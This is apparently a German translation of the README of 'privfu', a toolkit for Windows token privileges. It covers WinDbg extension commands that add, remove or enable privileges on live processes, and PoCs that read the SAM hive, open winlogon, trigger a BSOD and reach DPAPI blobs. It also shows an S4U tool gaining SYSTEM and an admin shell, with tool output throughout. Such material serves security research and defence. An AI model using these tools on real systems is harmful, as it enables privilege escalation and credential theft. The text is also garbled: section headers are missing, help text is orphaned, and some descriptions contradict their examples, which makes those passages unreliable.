### getps Befehl
Dieser Befehl listet Prozesse in Ihrem Zielsystem auf:```
0: kd> !getps /?

!getps - List processes in target system.

Usage : !getps [Process Name]

    Process Name : (OPTIONAL) Specifies filter string for process name.

 PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name

Wenn Sie bestimmte Prozesse kennen möchten, stellen Sie den Zeichenfolgenfilter wie folgt ein. Der Filter arbeitet mit Vorwärtsvergleich und Groß-/Kleinschreibung ohne Beachtung:```
0: kd> !getps micro

     PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
    4568 0xffffd60f`f14ed080      0xffffaf00`d3db60a0 MicrosoftEdge.exe
    4884 0xffffd60f`f1647080      0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
    4892 0xffffd60f`f1685080      0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe

PID : Specifies target process ID.

Um diesen Befehl zu verwenden, müssen Sie eine Zielprozess-ID im Dezimalformat wie folgt festlegen:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.
    + IncreaseQuota                  : SeIncreaseQuotaPrivilege.
    + MachineAccount                 : SeMachineAccountPrivilege.
    + Tcb                            : SeTcbPrivilege.
    + Security                       : SeSecurityPrivilege.
    + TakeOwnership                  : SeTakeOwnershipPrivilege.
    + LoadDriver                     : SeLoadDriverPrivilege.
    + SystemProfile                  : SeSystemProfilePrivilege.
    + Systemtime                     : SeSystemtimePrivilege.
    + ProfileSingleProcess           : SeProfileSingleProcessPrivilege.
    + IncreaseBasePriority           : SeIncreaseBasePriorityPrivilege.
    + CreatePagefile                 : SeCreatePagefilePrivilege.
    + CreatePermanent                : SeCreatePermanentPrivilege.
    + Backup                         : SeBackupPrivilege.
    + Restore                        : SeRestorePrivilege.
    + Shutdown                       : SeShutdownPrivilege.
    + Debug                          : SeDebugPrivilege.
    + Audit                          : SeAuditPrivilege.
    + SystemEnvironment              : SeSystemEnvironmentPrivilege.
    + ChangeNotify                   : SeChangeNotifyPrivilege.
    + RemoteShutdown                 : SeRemoteShutdownPrivilege.
    + Undock                         : SeUndockPrivilege.
    + SyncAgent                      : SeSyncAgentPrivilege.
    + EnableDelegation               : SeEnableDelegationPrivilege.
    + ManageVolume                   : SeManageVolumePrivilege.
    + Impersonate                    : SeImpersonatePrivilege.
    + CreateGlobal                   : SeCreateGlobalPrivilege.
    + TrustedCredManAccess           : SeTrustedCredManAccessPrivilege.
    + Relabel                        : SeRelabelPrivilege.
    + IncreaseWorkingSet             : SeIncreaseWorkingSetPrivilege.
    + TimeZone                       : SeTimeZonePrivilege.
    + CreateSymbolicLink             : SeCreateSymbolicLinkPrivilege.
    + DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
    + All                            : All privileges.

Wenn Sie beispielsweise SeDebugPrivilege für einen bestimmten Prozess setzen möchten, geben Sie eine Zielprozess-ID für das erste Argument an und den verkürzten Berechtigungsnamen `debug`, wie in der Hilfemeldung für das zweite Argument aufgeführt, wie folgt:```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

0: kd> !addpriv 5704 debug

[>] Trying to add SeDebugPrivilege.
[*] Done.

0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeDebugPrivilege                           Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

### rmpriv Befehl
Dieser Befehl dient dazu, Token-Berechtigung(en) von einem bestimmten Prozess zu entfernen:```
0: kd> !rmpriv /?

!rmpriv - Remove privilege(s) from a process.

Usage : !rmpriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Mit dem Befehl `!addpriv` können Sie alle Token-Berechtigungen auf einmal entfernen, indem Sie `all` als Argument für den Berechtigungsnamen festlegen:```
0: kd> !rmpriv 352 all

[>] Trying to remove all privileges.
[*] Done.

0: kd> !getpriv 352

Privilege Name                             State
========================================== ========

[*] PID                      : 352
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770

PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.

Das erste Argument ist für die Prozess-ID und das zweite für den Token-Privilegnamen:```
0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

0: kd> !enablepriv 1932 timezone

[>] Trying to enable SeTimeZonePrivilege.
[*] Done.

0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Enabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

### disablepriv Befehl
Dieser Befehl dient zum Deaktivieren von Token-Privileg(en) eines bestimmten Prozesses:```
0: kd> !disablepriv /?

!disablepriv - Disable privilege(s) of a process.

Usage : !disablepriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

### enableall-Befehl
Dieser Befehl dient dazu, alle für einen bestimmten Prozess verfügbaren Token-Privilegien zu aktivieren:```
0: kd> !enableall /?

!enableall - Enable all privileges available to a process.

Usage : !enableall <PID>

    PID       : Specifies target process ID.

### disableall Befehl
Dieser Befehl deaktiviert alle Token-Berechtigungen für einen bestimmten Prozess:```
0: kd> !disableall /?

!disableall - Disable all privileges available to a process.

Usage : !disableall <PID>

    PID : Specifies target process ID.

## PrivilegedOperations

[Zurück nach oben](#privfu)

[Projekt](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)

Dieses Projekt enthält PoCs für sensible Token-Berechtigungen wie `SeDebugPrivilege`.
Derzeit sind PoCs für einen Teil davon veröffentlicht.

| Programmname | Beschreibung |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | Dieser PoC versucht, neue Sicherheitsereignisse mittels `SeAuditPrivilegePoC` zu erstellen. `SeAuditPrivilege` erfordert keine hohe Integritätsstufe, aber dieser PoC benötigt administrative Berechtigungen bei der ersten Ausführung, um eine neue Ereignisquelle zu installieren. Zusätzlich kann zur Bestätigung des Ergebnisses eine Änderung der lokalen Sicherheitsrichtlinieneinstellung erforderlich sein. |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | Dieser PoC versucht, `HKLM\SAM` mittels `SeBackupPrivilege` auszulesen. |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | Dieser PoC versucht, die Auslagerungsdatei-Option auf bestimmte Werte mittels `SeCreatePagefilePrivilege` zu setzen. |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | Dieser PoC versucht, ein erhöhtes Token mittels `SeCreateTokenPrivilege` zu erstellen. |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | Dieser PoC versucht, ein Handle auf winlogon.exe mittels `SeDebugPrivilege` zu öffnen. |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | Dieser PoC versucht, einen Large-Page-Speicherbereich mittels `SeLockMemoryPrivilege` zuzuweisen. |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | Dieser PoC versucht, eine Testdatei in `C:\Windows\System32\` mittels `SeRestorePrivilege` zu schreiben. |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | Dieser PoC versucht, das letzte Sicherheitsereignis mittels `SeSecurityPrivilege` zu lesen. |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | Dieser PoC versucht, einen BSOD mittels `SeShutdownPrivilege` auszulösen. |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | Dieser PoC versucht, die Systemumgebung mittels `SeSystemEnvironmentPrivilege` aufzulisten. Funktioniert nur auf UEFI-basierten Systemen. Aufgrund der Betriebssystemfunktionalität funktioniert dieser PoC nicht für Betriebssysteme vor Windows 10 Build 1809. |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | Dieser PoC versucht, den Besitzer von `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` auf das aufrufende Benutzerkonto mittels `SeTakeOwnershipPrivilege` zu ändern. |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | Dieser PoC versucht, eine S4U-Anmeldung durchzuführen, um `Builtin\Backup Operators` mittels `SeTcbPrivilege` zu werden. |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | Dieser PoC versucht, auf DPAPI-Blob mittels `SeTrustedCredManAccessPrivilege` zuzugreifen. |

## S4uDelegator

[Zurück nach oben](#privfu)

[Projekt](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)

Dieses Tool dient zur Durchführung einer S4U-Anmeldung mit SeTcbPrivilege.
Zur Durchführung einer S4U-Anmeldung mit diesem Tool sind administrative Berechtigungen erforderlich.```
PS C:\Tools> .\S4uDelegator.exe -h

S4uDelegator - Tool for S4U Logon.

Usage: S4uDelegator.exe [Options]

        -h, --help    : Displays this help message.
        -l, --lookup  : Flag to lookup account SID.
        -x, --execute : Flag to execute command.
        -c, --command : Specifies command to execute. Default is cmd.exe.
        -d, --domain  : Specifies domain name to lookup or S4U logon.
        -e, --extra   : Specifies group SIDs you want to add for S4U logon with comma separation.
        -n, --name    : Specifies account name to lookup or S4U logon.
        -s, --sid     : Specifies SID to lookup.

Um einen Befehl mit S4U-Logon auszuführen, setzen Sie das Flag `-x` und geben Sie den Kontonamen oder die SID wie folgt an. Der auszuführende Befehl kann mit der Option `-c` angegeben werden (Standard ist `cmd.exe`):```
PS C:\Tools> whoami /user

USER INFORMATION
----------------

User Name    SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin

[*] S4U logon target information:
    [*] Account : CL01\admin
    [*] SID     : S-1-5-21-2659926013-4203293582-4033841475-500
    [*] UPN     : (Null)
    [*] Type    : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Tools>whoami /user

USER INFORMATION
----------------

User Name  SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500

> __WARNUNG__
>
> Wenn Sie versuchen, S4U-Logon mit einem unprivilegierten Konto für den Zielcomputer durchzuführen, erhalten Sie den Fehler `0xC0000142` (`STATUS_DLL_INIT_FAILED`) und der Befehl kann nicht ausgeführt werden.
> Um dieses Problem zu vermeiden, fügen Sie privilegierte Gruppen als zusätzliche Gruppen mit der Option `-e` hinzu.
> 
> Zudem können einige Konten nicht als zusätzliche Gruppe für S4U-Logon angegeben werden (z.B. `NT SERVICE\TrustedInstaller`).
> Wenn Sie solche Gruppenkonten als zusätzliche Gruppe festlegen, schlägt das S4U-Logon mit dem Fehler `0x00000005` (`ERROR_ACCESS_DENIED`) fehl.


## SwitchPriv

[Zurück zum Anfang](#privfu)

[Projekt](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)

Dieses Tool dient zum Aktivieren oder Deaktivieren bestimmter Token-Privilegien für einen Prozess:```
PS C:\Dev> .\SwitchPriv.exe -h

SwitchPriv - Tool to control token privileges.

Usage: SwitchPriv.exe [Options]

        -h, --help      : Displays this help message.
        -d, --disable   : Specifies token privilege to disable or "all".
        -e, --enable    : Specifies token privilege to enable or "all".
        -f, --filter    : Specifies token privilege you want to remain.
        -i, --integrity : Specifies integrity level to set in decimal value.
        -p, --pid       : Specifies the target PID. Default specifies PPID.
        -r, --remove    : Specifies token privilege to remove or "all".
        -s, --search    : Specifies token privilege to search.
        -g, --get       : Flag to get available privileges for the target process.
        -l, --list      : Flag to list values for --integrity options.
        -S, --system    : Flag to run as "NT AUTHORITY\SYSTEM".

* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL

* Down a specific process' integrity level to Low.

    PS C:\> .\SwitchPriv.exe -p 4142 -s 1

Die PID des Zielprozesses wird mit der Option `-p` angegeben. Sie können die verfügbaren Berechtigungen für den Zielprozess mit dem Flag `-g` und der Option `-p` wie folgt auflisten:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Der zu steuernde Berechtigungsname wird mit einer beliebigen Zeichenfolge angegeben, die die Groß-/Kleinschreibung nicht berücksichtigt und einen eindeutigen Berechtigungsnamen in den verfügbaren Berechtigungen für den Zielprozess angeben kann.
Zum Beispiel: Um `SeUndockPrivilege` für den Zielprozess zu aktivieren, führen Sie es mit der Option `--enable` wie folgt aus:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -e und

[>] Trying to enable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeUndockPrivilege is enabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Um beispielsweise SeChangeNotifyPrivilege zu aktivieren, führen Sie mit der Option `--disable` wie folgt aus:```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -d chan

[>] Trying to disable a token privilege.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] SeChangeNotifyPrivilege is disabled successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= ==========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Disabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Wenn Sie ein bestimmtes Privileg testen möchten, können Sie mit der Option `-f` alle anderen Privilegien außer dem zu testenden entfernen, wie folgt:```
PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Enabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Enabled
SeIncreaseWorkingSetPrivilege Enabled
SeTimeZonePrivilege           Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -f tim

[>] Trying to remove all token privileges except one.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[>] Trying to remove all privileges except for SeTimeZonePrivilege.
[+] SeShutdownPrivilege is removed successfully.
[+] SeChangeNotifyPrivilege is removed successfully.
[+] SeUndockPrivilege is removed successfully.
[+] SeIncreaseWorkingSetPrivilege is removed successfully.
[*] Done.

PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 4392
    [*] Process Name : powershell
[+] Got 1 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name      State
=================== =======
SeTimeZonePrivilege Enabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Um alle verfügbaren Token-Berechtigungen zu aktivieren, zu deaktivieren oder zu entfernen, geben Sie `all` als Wert für die Option `--enable`, `--disable` oder `--remove` an:```
PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled
PS C:\Dev> .\SwitchPriv.exe -e all

[>] Trying to enable all token privileges.
    [*] Target PID   : 6772
    [*] Process Name : powershell
[+] SeShutdownPrivilege is enabled successfully.
[+] SeUndockPrivilege is enabled successfully.
[+] SeIncreaseWorkingSetPrivilege is enabled successfully.
[+] SeTimeZonePrivilege is enabled successfully.
[*] Done.

PS C:\Dev> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

Wenn Sie die Integritätsstufe festlegen möchten, verwenden Sie die Option `--integrity` wie folgt:```
PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Medium Mandatory Level                        Label            S-1-16-8192

PS C:\Dev> .\SwitchPriv.exe -i 1

[>] Trying to update Integrity Level.
    [*] Target PID   : 3436
    [*] Process Name : powershell
[>] Trying to update Integrity Level to LOW_MANDATORY_LEVEL.
[+] Integrity Level is updated successfully.
[*] Done.

PS C:\Dev> whoami /groups | findstr /i level
Mandatory Label\Low Mandatory Level                           Label            S-1-16-4096

## TokenDump

[Zurück zum Anfang](#privfu)

[Projekt](https://github.com/daem0nc0re/privfu/blob/main/TokenDump)


Dieses Tool ist ein Dienstprogramm zur Überprüfung von Token-Informationen:```
C:\Dev>.\TokenDump.exe -h

TokenDump - Tool to dump processs token information.

Usage: TokenDump.exe [Options]

        -h, --help    : Displays this help message.
        -d, --debug   : Flag to enable SeDebugPrivilege.
        -e, --enum    : Flag to enumerate brief information tokens for processes or handles.
        -T, --thread  : Flag to scan thead tokens. Use with -e option.
        -H, --handle  : Flag to scan token handles. Use with -e option.
        -s, --scan    : Flag to get verbose information for a specific process, thread or handle.
        -a, --account : Specifies account name filter string. Use with -e flag.
        -p, --pid     : Specifies a target PID in decimal format. Use with -s flag, or -e and -H flag.
        -t, --tid     : Specifies a target TID in decimal format. Use with -s flag and -p option.
        -v, --value   : Specifies a token handle value in hex format. Use with -s flag and -p option.

Wenn Sie SeDebugPrivilege aktivieren möchten, setzen Sie das Flag `-d` wie folgt:```
C:\Dev>.\TokenDump.exe -e -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name                Token User                   Integrity Restricted AppContainer
==== ======= =========================== ============================ ========= ========== ============
5004       0 svchost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3728       0 conhost.exe                 NT AUTHORITY\SYSTEM          System    False      False
3740       0 vm3dservice.exe             NT AUTHORITY\SYSTEM          System    False      False

--snip--

Wenn eine PID mit der Option `-p` angegeben wird, zählt TokenDup nur die angegebenen Prozesshandles auf:```
C:\Dev>.\TokenDump.exe -e -H -d -p 704

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - winlogon.exe (PID: 704)]

Handle Session Token User          Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= =================== ========= ========== ============ ============= ===================
 0x2B0       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x2B4       1 NT AUTHORITY\SYSTEM System    False      False        Primary       Anonymous
 0x38C       1 dev22h2\user        Medium    False      False        Primary       Impersonation
 0x398       1 dev22h2\user        High      False      False        Primary       Identification
 0x3C4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3C8       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D0       1 dev22h2\user        Medium    False      False        Impersonation Impersonation
 0x3D4       1 dev22h2\user        Medium    False      False        Impersonation Impersonation

[+] Got 8 handle(s).
[*] Found 2 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
[*] Done.

Wenn Sie diese Ergebnisse nach Token-Benutzernamen filtern möchten, legen Sie die Filterzeichenfolge als Wert der Option `-a` wie folgt fest:```
C:\Dev>.\TokenDump.exe -e -a network -d

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate process token.

 PID Session Process Name Token User                   Integrity Restricted AppContainer
==== ======= ============ ============================ ========= ========== ============
1932       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3500       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2904       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
2504       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
7012       0 msdtc.exe    NT AUTHORITY\NETWORK SERVICE System    False      False
7092       0 sppsvc.exe   NT AUTHORITY\NETWORK SERVICE System    False      False
1676       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False
3584       0 WmiPrvSE.exe NT AUTHORITY\NETWORK SERVICE System    False      False
1000       0 svchost.exe  NT AUTHORITY\NETWORK SERVICE System    False      False

[+] Got 9 token information.
[*] Found 7 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Font Driver Host\UMFD-0
    [*] Font Driver Host\UMFD-1
    [*] Window Manager\DWM-1
[*] Done.

C:\Dev>.\TokenDump.exe -e -a network -d -H

[>] Trying to enable SeDebugPrivilege.
[+] SeDebugPrivilege is enabled successfully.
[>] Trying to enumerate token handles.

[Token Handle(s) - lsass.exe (PID: 768)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type    Impersonation Level
====== ======= ============================ ========= ========== ============ ============= ===================
 0x914       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Impersonation Impersonation

--snip--

[Token Handle(s) - msdtc.exe (PID: 7012)]

Handle Session Token User                   Integrity Restricted AppContainer Token Type Impersonation Level
====== ======= ============================ ========= ========== ============ ========== ===================
 0x23C       0 NT AUTHORITY\NETWORK SERVICE System    False      False        Primary    Anonymous

[+] Got 27 handle(s).
[*] Found 8 account(s).
    [*] NT AUTHORITY\SYSTEM
    [*] dev22h2\user
    [*] Font Driver Host\UMFD-1
    [*] Font Driver Host\UMFD-0
    [*] NT AUTHORITY\NETWORK SERVICE
    [*] Window Manager\DWM-1
    [*] NT AUTHORITY\LOCAL SERVICE
    [*] NT AUTHORITY\ANONYMOUS LOGON
[*] Done.

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeIncreaseWorkingSetPrivilege Disabled


GROUP INFORMATION
-----------------

Group Name                                                    Attributes
============================================================= =============================================
dev22h2\None                                                  Mandatory, EnabledByDefault, Enabled
Everyone                                                      Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account and member of Administrators group UseForDenyOnly
BUILTIN\Administrators                                        UseForDenyOnly
BUILTIN\Users                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\INTERACTIVE                                      Mandatory, EnabledByDefault, Enabled
CONSOLE LOGON                                                 Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Authenticated Users                              Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\This Organization                                Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\Local account                                    Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\LogonSessionId_0_122425                          Mandatory, EnabledByDefault, Enabled, LogonId
LOCAL                                                         Mandatory, EnabledByDefault, Enabled
NT AUTHORITY\NTLM Authentication                              Mandatory, EnabledByDefault, Enabled
Mandatory Label\Low Mandatory Level                           Integrity, IntegrityEnabled


APPCONTAINER CAPABILITIES
-------------------------

Capability Name                                                            Flags
========================================================================== =======
APPLICATION PACKAGE AUTHORITY\Your Internet connection                     Enabled
APPLICATION PACKAGE AUTHORITY\Your home or work networks                   Enabled
NAMED CAPABILITIES\PackageQuery                                            Enabled
NAMED CAPABILITIES\ActivitySystem                                          Enabled
NAMED CAPABILITIES\PreviewStore                                            Enabled
NAMED CAPABILITIES\CortanaPermissions                                      Enabled
NAMED CAPABILITIES\AppointmentsSystem                                      Enabled
NAMED CAPABILITIES\TeamEditionExperience                                   Enabled
NAMED CAPABILITIES\ShellExperience                                         Enabled
NAMED CAPABILITIES\PackageContents                                         Enabled
